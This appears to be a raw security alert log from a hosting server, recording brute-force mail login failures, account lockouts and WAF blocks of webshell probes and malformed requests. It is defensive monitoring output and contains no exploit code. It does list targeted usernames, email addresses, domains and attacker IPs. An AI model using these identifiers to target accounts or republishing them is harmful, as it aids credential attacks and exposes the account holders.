2026-01-30 19:38:04 dovecot_login authenticator failed for H=(MW4BGVFRpI) [185.230.124.69]:64114: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:38:16 dovecot_login authenticator failed for H=(Vc6JR6Vtdm) [141.98.11.82]:57668: 535 Incorrect authentication data (set_id=evonne)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.170.211.143
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=735818 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:38:17 dovecot_login authenticator failed for H=(tXa8mE) [178.16.54.138]:59193: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.34
country_id: 1668284
description:
2026-01-30 19:38:26 dovecot_login authenticator failed for H=([101.13.5.34]) [101.13.5.34]:54474: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:39:40 dovecot_login authenticator failed for H=(cK5tazf) [141.98.11.82]:51970: 535 Incorrect authentication data (set_id=evonne)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.189.85.66
country_id: 3469034
description:
2026-01-30 19:39:52 dovecot_login authenticator failed for H=179-189-85-66.goldnettelecom.com.br [179.189.85.66]:39940: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.134.27.159
country_id: 1814991
description:
2026-01-30 19:39:03 dovecot_login authenticator failed for H=([124.134.27.159]) [124.134.27.159]:15946: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.137.66.82
country_id: 1835841
description:
2026-01-30 19:39:07 dovecot_login authenticator failed for H=([125.137.66.82]) [125.137.66.82]:3159: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.230.158
country_id: 1269750
description:
2026-01-30 19:39:23 dovecot_login authenticator failed for H=(dsl-del-065.26.246.61.airtelbroadband.in) [182.95.230.158]:41034: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.13
country_id: 1269750
description:
2026-01-30 19:39:47 dovecot_login authenticator failed for H=(nsg-corporate-13.230.187.122.airtel.in) [122.187.230.13]:60537: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:39:17 dovecot_login authenticator failed for H=(G5dnZurSc) [178.16.54.138]:50420: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/img/img/new-development.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.186.241.102
country_id: 1835841
description:
2026-01-30 19:39:44 dovecot_login authenticator failed for H=([112.186.241.102]) [112.186.241.102]:54121: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:39:24 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.206.113.91
country_id: 1835841
description:
2026-01-30 19:39:30 dovecot_login authenticator failed for H=([175.206.113.91]) [175.206.113.91]:33110: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:39:26 dovecot_login authenticator failed for H=(hZcYapStl2) [185.230.124.69]:62606: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.24.141.119
country_id: 1814991
description:
2026-01-30 19:39:32 dovecot_login authenticator failed for H=([27.24.141.119]) [27.24.141.119]:51734: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-30 19:40:34 H=([45.144.212.50]) [45.144.212.50]:58662 F=<zuleyha@savalanshipping.com> rejected RCPT <celine@ktlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from savalanshipping.com


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/images/cdn-cgi/l/about.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:40:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.211.244.232
country_id: 1814991
description:
2026-01-30 19:40:15 dovecot_login authenticator failed for H=([61.139.80.213]) [222.211.244.232]:62818: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:40:16 dovecot_login authenticator failed for H=(z1x10PuvS) [185.230.124.69]:60195: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/symfony/finder/Tests/Fixtures/A/B/ab.dat||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:40:20 dovecot_login authenticator failed for H=(lIckoIXYJ) [178.16.54.138]:51084: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:40:33 dovecot_login authenticator failed for H=(CcR1gi7) [141.98.11.82]:59809: 535 Incorrect authentication data (set_id=evonne)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:41:11 dovecot_login authenticator failed for H=(yY5n1r) [178.16.54.138]:60226: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:41:40 dovecot_login authenticator failed for H=(houtdM) [141.98.11.82]:55780: 535 Incorrect authentication data (set_id=evonne)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:41:05 dovecot_login authenticator failed for H=(NTvRUJs) [185.230.124.69]:60135: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-01-30 19:41:50 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:34592: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.244
country_id: 1814991
description:
2026-01-30 19:42:51 dovecot_login authenticator failed for H=([111.61.176.244]) [111.61.176.244]:65440: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:42:16 dovecot_login authenticator failed for H=(RSdGNHiRsw) [185.230.124.69]:53165: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:42:19 dovecot_login authenticator failed for H=(G49ImWrfSl) [178.16.54.138]:63763: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:42:02 dovecot_login authenticator failed for H=(ujzCcY) [178.16.54.138]:53897: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:42:25 dovecot_login authenticator failed for H=(Pr6REYaOy) [141.98.11.82]:58486: 535 Incorrect authentication data (set_id=evonne)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-01-30 19:42:13 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:54104: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-01-30 19:42:17 dovecot_login authenticator failed for H=([144.121.245.65]) [64.72.74.162]:51960: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.66.214.34
country_id: 1269750
description:
2026-01-30 19:42:41 dovecot_login authenticator failed for H=(nsg-corporate-78.223.187.122.airtel.in) [182.66.214.34]:44710: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:43:12 dovecot_login authenticator failed for H=(EbGqZIC) [178.16.54.138]:63309: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:43:12 dovecot_login authenticator failed for H=(hryFvp7) [141.98.11.82]:60196: 535 Incorrect authentication data (set_id=evonne)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:43:03 dovecot_login authenticator failed for H=(czSvX2td) [185.230.124.69]:60073: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.206.93.90
country_id: 290557
description:
2026-01-30 19:43:08 dovecot_login authenticator failed for H=([94.206.93.90]) [94.206.93.90]:47526: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-01-30 19:43:20 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:51820: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:44:18 dovecot_login authenticator failed for H=(3occ45) [141.98.11.82]:63967: 535 Incorrect authentication data (set_id=evonne)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.230.142
country_id: 1269750
description:
2026-01-30 19:44:49 dovecot_login authenticator failed for H=([182.79.202.89]) [182.95.230.142]:41126: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:44:58 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:44:12 dovecot_login authenticator failed for H=(4IWHGWPrA) [185.230.124.69]:55577: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:44:50 dovecot_login authenticator failed for H=(8zYEjg) [178.16.54.138]:54604: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:44:01 dovecot_login authenticator failed for H=(0TE9ucHu) [178.16.54.138]:62309: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.23.248
country_id: 1668284
description:
2026-01-30 19:44:34 dovecot_login authenticator failed for H=111-70-23-248.emome-ip.hinet.net [111.70.23.248]:51053: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:45:09 dovecot_login authenticator failed for H=(hnVvd9) [178.16.54.138]:52099: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:45:28 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:45:30 dovecot_login authenticator failed for H=(18DEf8HXQ0) [185.230.124.69]:54941: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.255.104.150
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/facilities.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.235.148
country_id: 1269750
description:
2026-01-30 19:45:19 dovecot_login authenticator failed for H=(nsg-corporate-148.235.187.122.airtel.in) [122.187.235.148]:39133: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:45:23 dovecot_login authenticator failed for H=(gX6zATRLaP) [141.98.11.82]:56604: 535 Incorrect authentication data (set_id=evonne@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.61.48.234
country_id: 1835841
description:
2026-01-30 19:45:34 dovecot_login authenticator failed for H=([125.61.48.234]) [125.61.48.234]:43933: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.187.21.204
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=381667 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:46:28 dovecot_login authenticator failed for H=(vjaDK2qh) [178.16.54.138]:64516: 535 Incorrect authentication data (set_id=plenipotentiaries@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:46:27 dovecot_login authenticator failed for H=(KOFoplB8) [141.98.11.82]:52216: 535 Incorrect authentication data (set_id=evonne@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:47:12 dovecot_login authenticator failed for H=(Rki2Oc) [141.98.11.82]:56317: 535 Incorrect authentication data (set_id=evonne@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.179.134.120
country_id: 1269750
description:
2026-01-30 19:47:31 dovecot_login authenticator failed for H=(abts-mum-static-120.134.179.122.airtelbroadband.in) [122.179.134.120]:38290: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:47:18 dovecot_login authenticator failed for H=(DXJREN2k) [178.16.54.138]:53896: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.120.98
country_id: 1269750
description:
2026-01-30 19:47:59 dovecot_login authenticator failed for H=([122.184.120.98]) [122.184.120.98]:39450: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:48:06 dovecot_login authenticator failed for H=(UuIMal) [141.98.11.82]:60195: 535 Incorrect authentication data (set_id=evonne@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:48:16 dovecot_login authenticator failed for H=(nIUUKuLA5) [178.16.54.138]:60239: 535 Incorrect authentication data (set_id=plenipotentiaries@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.79.218.101
country_id: 1269750
description:
2026-01-30 19:48:13 dovecot_login authenticator failed for H=([182.79.218.101]) [182.79.218.101]:59541: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.90.34.90
country_id: 2328926
description:
2026-01-30 19:48:29 dovecot_login authenticator failed for H=([102.90.34.90]) [102.90.34.90]:42389: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:49:56 dovecot_login authenticator failed for H=(x6Otmki9na) [178.16.54.138]:53738: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:49:32 dovecot_login authenticator failed for H=(5UfHyw0rk4) [141.98.11.82]:59362: 535 Incorrect authentication data (set_id=evonne@kendek.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:49:08 dovecot_login authenticator failed for H=(bDJumoJ) [178.16.54.138]:58475: 535 Incorrect authentication data (set_id=plenipotentiaries@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:50:12 dovecot_login authenticator failed for H=(xulXNU) [141.98.11.82]:53391: 535 Incorrect authentication data (set_id=evonne@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:50:14 dovecot_login authenticator failed for H=(lNKvQD) [178.16.54.138]:56174: 535 Incorrect authentication data (set_id=plenipotentiaries@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.81.229.179
country_id: 6252001
description:
2026-01-30 19:51:12 dovecot_plain authenticator failed for H=(chiss) [192.81.229.179]:57150: 535 Incorrect authentication data (set_id=garylee@autogreastar.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.218.95.154
country_id: 6252001
description:
2026-01-30 19:51:28 dovecot_login authenticator failed for H=syn-074-218-095-154.biz.spectrum.com [74.218.95.154]:44701: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.34.70.2
country_id: 2510769
description:
2026-01-30 19:51:35 dovecot_login authenticator failed for H=2.red-83-34-70.dynamicip.rima-tde.net [83.34.70.2]:42068: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.84.92.45
country_id: 1655842
description:
2026-01-30 19:51:59 dovecot_login authenticator failed for H=([115.84.92.45]) [115.84.92.45]:52616: 535 Incorrect authentication data (set_id=chew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:51:06 dovecot_login authenticator failed for H=(Pp2fCByiJ) [178.16.54.138]:54172: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:51:18 dovecot_login authenticator failed for H=(Ol9PcavI) [141.98.11.82]:62093: 535 Incorrect authentication data (set_id=evonne@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:52:12 dovecot_login authenticator failed for H=(qvBw3jWUD) [178.16.54.138]:62925: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.22.68.213
country_id: 1835841
description:
2026-01-30 19:53:11 dovecot_login authenticator failed for H=([59.22.68.213]) [59.22.68.213]:49441: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:53:19 dovecot_login authenticator failed for H=(rCtUHU) [141.98.11.82]:52817: 535 Incorrect authentication data (set_id=evonne@kendek.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.115.210.107
country_id: 3923057
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/activity-details.php?id=849737 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.253.10.61
country_id: 1835841
description:
2026-01-30 19:53:22 dovecot_login authenticator failed for H=([211.253.10.61]) [211.253.10.61]:51031: 535 Incorrect authentication data (set_id=amir)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.22.48.52
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=39921515046027 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:53:14 dovecot_login authenticator failed for H=(0vxLiwg40) [178.16.54.138]:64779: 535 Incorrect authentication data (set_id=plenipotentiaries@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:54:03 dovecot_login authenticator failed for H=(RPEMt1yPRo) [178.16.54.138]:59317: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:54:50 dovecot_login authenticator failed for H=(FrbN6ouXMO) [178.16.54.138]:63894: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:54:43 dovecot_login authenticator failed for H=(1sNfHxya) [141.98.11.82]:58322: 535 Incorrect authentication data (set_id=evonne@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:55:16 dovecot_login authenticator failed for H=(4dYN3rQnYR) [178.16.54.138]:63891: 535 Incorrect authentication data (set_id=plenipotentiaries@col.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 105.96.209.82
country_id: 2589581
domain: nexuscollection.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:74183.nexuscollection.com||ServerName:nexuscollection.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:254414f95e5c8a57b69b78877c2128fe36ba517a||Title:0xf466a493||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:56:05 dovecot_login authenticator failed for H=(8YZpV6rL) [178.16.54.138]:58237: 535 Incorrect authentication data (set_id=plenipotentiaries@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.118.107.125
country_id: 1814991
description:
2026-01-30 19:56:56 dovecot_login authenticator failed for H=([111.206.233.34]) [123.118.107.125]:57334: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.205.197
country_id: 99237
description:
2026-01-30 19:57:16 dovecot_login authenticator failed for H=([65.20.205.197]) [65.20.205.197]:59088: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:57:26 dovecot_login authenticator failed for H=(0y2XRuEmSo) [178.16.54.138]:54576: 535 Incorrect authentication data (set_id=plenipotentiaries@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.66.214.34
country_id: 1269750
description:
2026-01-30 19:58:55 dovecot_login authenticator failed for H=(nsg-corporate-78.223.187.122.airtel.in) [182.66.214.34]:38694: 535 Incorrect authentication data (set_id=zulkifli.abdul-mutalib@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.37.203.28
country_id: 1831722
description:
2026-01-30 19:58:54 dovecot_login authenticator failed for H=([36.37.203.28]) [36.37.203.28]:33422: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.31.246.5
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.aoto.com.my/product.php?category&sub HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:58:32 dovecot_login authenticator failed for H=(qwKPIqcGv) [178.16.54.138]:58240: 535 Incorrect authentication data (set_id=plenipotentiaries@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-01-30 19:59:27 dovecot_login authenticator failed for H=(host-64-72-74-162.lightower.net) [64.72.74.162]:37492: 535 Incorrect authentication data (set_id=central)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.13
country_id: 1269750
description:
2026-01-30 19:59:30 dovecot_login authenticator failed for H=(nsg-corporate-13.230.187.122.airtel.in) [122.187.230.13]:58498: 535 Incorrect authentication data (set_id=zulkifli.abdul-mutalib)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:59:28 dovecot_login authenticator failed for H=(jSJahwq08) [178.16.54.138]:50786: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-30 19:59:42 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:1835: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.227.102.242
country_id: 290557
description:
2026-01-30 19:59:26 dovecot_login authenticator failed for H=([80.227.102.242]) [80.227.102.242]:60953: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/flagallery/flexible-packaging/img/img/clientele.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:00:38 dovecot_login authenticator failed for H=(22hcen) [178.16.54.138]:49533: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.142.184.55
country_id: 1210997
description:
2026-01-30 20:01:49 dovecot_login authenticator failed for H=([103.133.175.82]) [103.142.184.55]:37753: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:01:19 dovecot_login authenticator failed for H=(Tul6Wo) [178.16.54.138]:51322: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
